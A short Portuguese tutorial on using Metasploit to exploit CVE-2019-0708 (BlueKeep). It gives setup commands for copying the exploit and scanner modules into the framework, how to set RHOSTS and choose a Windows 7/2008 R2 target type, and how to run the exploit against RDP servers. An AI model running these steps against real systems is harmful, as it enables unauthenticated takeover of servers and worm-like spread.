CVE-2019-0708

CVE-2019-0708 com Metasploit-Framework

A vulnerabilidade CVE-2019-0708 explora a verificação de autenticação do usuário, permitindo contornar a autenticação e, sem qualquer interação, conectar-se diretamente via protocolo RDP para enviar código malicioso e executar comandos no servidor. Se explorada por um atacante, pode levar à invasão do servidor, infecção por vírus e propagação em larga escala, como a vulnerabilidade WannaCry EternalBlue.

Por volta da 1h da madrugada de 7 de setembro de 2019, o Metasploit atualizou o exploit.

Uso:

---

0x01 Configuração do Ambiente

Execução no Terminal

apt install metasploit-framework

cp rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/

cp rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/

cp cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/

cp cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/

0x02 Métodos de Operação

1. Use o módulo windwos/rdp/cve_2019_0708_bluekeep_rce

2. Defina RHOSTS e target (se a máquina alvo usar VMware, defina target como 3)

0 Automatic targeting via fingerprinting

1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64)

2 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox)

3 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare)

4 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)

3. Execute o exploit